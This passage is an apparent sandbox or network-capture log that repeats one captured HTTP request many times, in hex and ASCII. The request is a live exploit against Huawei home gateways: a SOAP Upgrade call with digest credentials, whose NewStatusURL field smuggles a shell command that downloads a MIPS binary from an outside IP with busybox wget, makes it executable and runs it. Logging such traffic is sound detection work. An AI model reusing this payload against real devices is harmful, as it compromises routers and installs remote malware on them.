6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
